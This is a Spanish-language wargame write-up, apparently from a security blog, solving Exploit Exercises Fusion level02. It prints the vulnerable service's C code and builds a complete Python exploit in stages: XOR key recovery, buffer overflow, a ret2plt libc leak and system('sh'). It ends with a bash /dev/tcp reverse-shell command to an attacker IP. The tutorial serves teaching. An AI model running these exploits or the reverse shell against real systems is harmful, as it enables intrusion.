Ahora procederemos con la segunda fase, lograr la ejecución de código arbitrario. Aquí como siempre suelen existir múltiples caminos y cada uno da rienda suelta a su imaginación. Tras luchar algún tiempo con herramientas como "ROPgadget" y "ropeme", se hace evidente que la sección de texto de la aplicación no contiene demasiados gadgets con los que trabajar, por lo que un ataque ROP habitual no parece sencillo.

En la red puede encontrarse alguna solución con métodos avanzados de ROP en varias fases cuya lectura es altamente recomendable. Mi solución sigue los pasos de la idea expuesta en la última sección del capítulo 7 del libro Linux Exploiting. Aunque algunos consideren que un ataque Return-to-libc o ret2libc no sea turing complete, es decir, que permita todo tipo de computaciones arbitrarias como ROP, si con ello conseguimos obtener una shell de comandos al final el resultado será idéntico, control total sobre el sistema objetivo.

La pregunta es, si ASLR se encuentra activado y la libc se carga en direcciones aleatorias en cada reinicio de la aplicación, ¿de dónde demonios sacamos la dirección de una función como system()? La respuesta se halla en el uso de la técnica ret2plt. Podemos sobreescribir EIP con la dirección de la función write() en la PLT, y pasarle como argumentos: stdout(0x1), la dirección de una entrada en la GOT "resuelta", y el tamaño de la dirección (0x4). El servidor nos enviará de vuelta una dirección de una función perteneciente a la libc a la que podemos restar un offset conocido para obtener la base de la librería.

Una vez con la dirección base en la mano, la función system() también se encontrará en un desplazamiento u offset estático. Curiosamente vamos a obtener la dirección de la misma función write() en la GOT, ya que se trata de una función que ha sido ejecutada por el programa en varias ocasiones y por lo tanto ha sido previamente resuelta. El nuevo payload tiene un aspecto como el siguiente:
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
orig_payload = padding + write_plt + "AAAA" + stdout + write_got + len_to_write
payload = ''
for i in range(len(orig_payload)):
        payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system() : " + str(hex(libc_system))
sleep(0.2)
sk.sendall("Q")
Obteniendo:

Figura 4: Resultado obtenido con este nuevo payload

Alguien podría preguntarse de dónde hemos obtenido los offsets necesarios. No se oculta ningún truco bajo la manga, otra ilustración demuestra que los cálculos no son mágicos.

Figura 5: Offsets

Con la dirección de system() en nuestro poder también necesitamos la dirección de una cadena "sh" que se encuentre en una dirección estática y predecible. La zona de código de la libc seguía pareciendo un lugar adecuado:

Figura 6: búsqueda de la dirección de la cadena sh

La situación que se presenta ahora es la siguiente: tenemos la clave de cifrado para enviar datos al servidor y controlar EIP, tenemos la dirección de la función de librería system() y tenemos la dirección de una cadena "sh". El único problema es que si cerramos el socket y volvemos a empezar desde el principio con los datos obtenidos, la clave de cifrado cambiará con la nueva conexión y tendremos que comenzar el proceso desde cero.

Aunque es un camino totalmente aceptable, una ingeniosa idea vino a mi mente. En el fragmento de script anterior escribimos cuatro caracteres "A" después de la dirección de write() en la PLT, podemos sustituir estos 4 bytes por una dirección de retorno más útil, que resulta ser la dirección de la función encrypt_file(), lo que divertidamente nos lleva de nuevo al ciclo de recepción de datos, todo ello sin cambio de clave de cifrado.

En el siguiente envío de datos podemos volver a explotar el buffer vulnerable y sobreescribir el registro EIP, pero esta vez con la dirección de system() seguido de la dirección de la cadena "sh". El ciclo sería más o menos como el siguiente:
1 – encrypt_file()
2 – write@plt(stdout, &write@got, 4) 3 – encrypt_file()
4 – system("sh")
Una vez la shell sea ejecutada, todos los datos enviados a través del socket serán interpretados como comandos del sistema. Podemos aprovechar esto para ejecutar una shell inversa que se conecte a nuestra máquina. He aquí el exploit final:
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
 
msg = sk.recv(120, MSG_WAITALL)
print "[+] (" + str(len(msg)) + ") " + msg
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(128, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
 
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
encrypt_file = pack("<I", 0x080497f7)
orig_payload = padding + write_plt + encrypt_file + stdout + write_got + len_to_write
 
payload = ''
for i in range(len(orig_payload)):
          payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
 
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system(): " + str(hex(libc_system))
sh_string = libc_base + 0xf41d
print "[+] 'sh': " + str(hex(sh_string))
 
exploit_payload = padding + pack("<I", libc_system) + "AAAA" + pack("<I", sh_string)
payload = ''
for i in range(len(exploit_payload)):
           payload += chr(ord(exploit_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print sk.recv(57, MSG_WAITALL)
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
sk.sendall("id\n")
print "[+] (id): " + sk.recv(10, MSG_WAITALL)
print "[+] Iniciando shell remota inversa..."
sk.sendall("bash -i >& /dev/tcp/192.168.0.11/31337 0>&1\n")
sk.close()
Y llega el momento que te levanta de la silla:

Figura 7: Reto conseguido

Como nota adicional y anécdota que nunca falta en este tipo de wargames, comentar que tras la ejecución del exploit final me tiré 20 minutos sin obtener resultado alguno, hasta darme cuenta finalmente que tenía el firewall activo bloqueando todas las conexiones entrantes. Resulta divertido pensar que el elemento de seguridad que me estaba protegiendo a mí, también estaba protegiendo a mi objetivo, pero por poco tiempo :)

El dinero está bien, pero la vida puede encontrar sentido entre estos pequeños retos. Feliz Hacking!!!

Autor: blackngel autor del libro Linux Exploiting

****************************************************************************************
- Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
- Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************

lunes, febrero 17, 2014

Wargames y la alegría de un SegFault (1 de 2)

Tras el descubrimiento hace unos días de una vulnerabilidad de cadenas de formato en el reproductor de consola mp3blaster que me sirvió para ilustrar algunas de las cosas que cuento en el libro de Linux Exploiting me sentí impulsado a seguir investigando hasta descubrir otros bugs de la misma clase que se producían con el modo debug activado: tan simple como marcar como malo (comando "b") un fichero mp3 con un nombre como "%n" o cambiar el título de un grupo con una cadena similar y luego grabar la playlist (F5 y F4 respectivamente).

Todas estas acciones conducían a una violación de segmento o una detección por parte de la protección FORTIFY_SOURCE. Sea como fuere, cada vez que el reproductor se colgaba, una sonrisa se delineaba suavemente sobre mi rostro. Más que el descubrimiento de las vulnerabilidades en sí, la pregunta más difícil de responder era por qué se producía esta inevitable reacción en mi interior. Si no es por fama ni por dinero, ¿por qué nos recorre un escalofrío cada vez que un segfault se vuelca por pantalla?

En mi caso, y en el de muchos otros, la respuesta quizás se halle en el ansia de curiosidad y entretenimiento que nos han inculcado la resolución de wargames. Para aquellos que además de vender sus exploits al mejor postor también comulguen con el espíritu del wargaming, me gustaría compartir las alegrías y penurias de la resolución de un reto de exploiting, para que recuerden que el dinero no lo es todo, que el hacking se encuentra en esa parte del cuerpo que se acelera y te hace saltar de la silla cuando una shell de comandos viene de vuelta de un servidor explotado.

El código que se muestra a continuación pertenece al "level02" de la máquina virtual Fusion de la página de Exploit Exercises.
#define XORSZ 32
void cipher(unsigned char *blah, size_t len)
{

static int keyed;
static unsigned int keybuf[XORSZ];
int blocks;
unsigned int *blahi, j;
if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf))                     exit(EXIT_FAILURE);close(fd);keyed = 1;
}
blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;
for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
} }
void encrypt_file()
{
unsigned char buffer[32 * 4096];
unsigned char op;
size_t sz;
int loop;
printf("[-- Enterprise configuration file encryption service --]\n");
loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {

case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char **argv, char **envp)
{

int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
encrypt_file();
}
Las protecciones activadas son: ASLR, Non-Executable Stack y Non-Executable Heap.

La función encrypt_file() define un buffer de 131072 bytes, pero si el atacante envía por medio del socket el carácter o comando 'E', el siguiente valor entero que envíe será la cantidad de bytes que nread() leerá e introducirá en buffer[], por lo que la vulnerabilidad es obvia, el usuario y no el programador es quien finalmente decide cuántos bytes quiere copiar.

Hasta ahí correcto, como de costumbre lo primero que se intentará será una sobrescritura del registro EIP. Cabe mencionar que como el programa ha asociado la salida estándar con el socket, toda función printf() o write() nos enviará su contenido a través de la red, nuestra prueba de concepto tiene en cuenta este detalle a la hora de recibir las respuestas.
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 132000)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("A"*132000)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(132000, MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
Una de las primeras penurias y el motivo de usar el parámetro MSG_WAITALL con tamaños exactos, consistía en que el carácter de nueva línea "\n" (byte 0x0a) que envía el servidor en sus mensajes (printf()), llegaba en un paquete TCP independiente del mensaje, lo que con una llamada a recv() normal daba problemas. Como siempre, Wireshark fue la herramienta perfecta para darme cuenta de lo que realmente estaba ocurriendo en los cables.

Por otro lado, el envío del comando "Q" es imprescindible para hacer que encrypt_file() salga del bucle y la función con el stack corrupto retorne. El detalle está en que después del envío del payload podríamos enviar directamente el comando "Q" sin ejecutar las tres llamadas a recv(), pero entonces el resultado obtenido sería el siguiente:

Figura 1: Resultado obtenido

La señal SIGPIPE se debe a que el servidor intenta enviar datos cuando el cliente o atacante ya ha cerrado el socket. En cambio, si seguimos el protocolo y ejecutamos el script anterior tal cual se muestra, el resultado sería el de la siguiente imagen.

Figura 2: Resultado tras la ejecución del script

Esto ya luce mucho mejor, una violación de segmento debido a la sobrescritura del registro EIP con una dirección de memoria inválida. El siguiente problema es que EIP no luce el deseado "0x41414141". No es ninguna sorpresa. La función encrypt_file() llama a cipher(), cuya misión es cifrar los datos enviados por el atacante con una clave aleatoria de 128 bytes generada mediante el dispositivo /dev/urandom. El segundo fallo de seguridad es que el uso de la variable keyed estática causa que la clave se genere "una sola vez por conexión", con lo que los datos enviados por el atacante en distintas peticiones siempre se cifran con la misma clave.

Además la función de cifrado XOR es reversible y el resultado es enviado al atacante, tan solo hace falta realizar una operación XOR entre el mensaje original enviado y el recibido para obtener de nuevo la clave. En este punto se me ocurrió una idea un poco más sencilla, ya que podemos enviar bytes NULL (0x00), lo único que precisamos es enviar 128 bytes 0x00 y la respuesta que recibamos será directamente la clave de cifrado (recordad que n XOR 0 = n). Con la clave en la mano, podemos volver a cifrar nuestro payload original ("A"x132000) y esperar resultados:
from socket import *
from struct import *
 from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
msg = sk.recv(120, MSG_WAITALL)
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(size, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
orig_payload = "A"*132000
payload = ''
for i in range(len(orig_payload)):
payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
Figura 3: El exploit consigue el control del flujo

Precioso. Hemos culminado la primera fase de un proceso de exploiting, tenemos control sobre el flujo de ejecución de la aplicación vulnerable. Eso se verá en la segunda parte de este artículo.

Feliz Hacking!!!

Autor: blackngel autor del libro Linux Exploiting

****************************************************************************************
- Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
- Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************

Data Speaks

Entrada destacada

Descarga Latch ARW y protégete contra el ransomware

Desde hace mucho tiempo nuestro compañero en ElevenPaths Sergio de los Santos ( @ssantosv ), escritor del libro Máxima Seguridad en Windo...

Entradas populares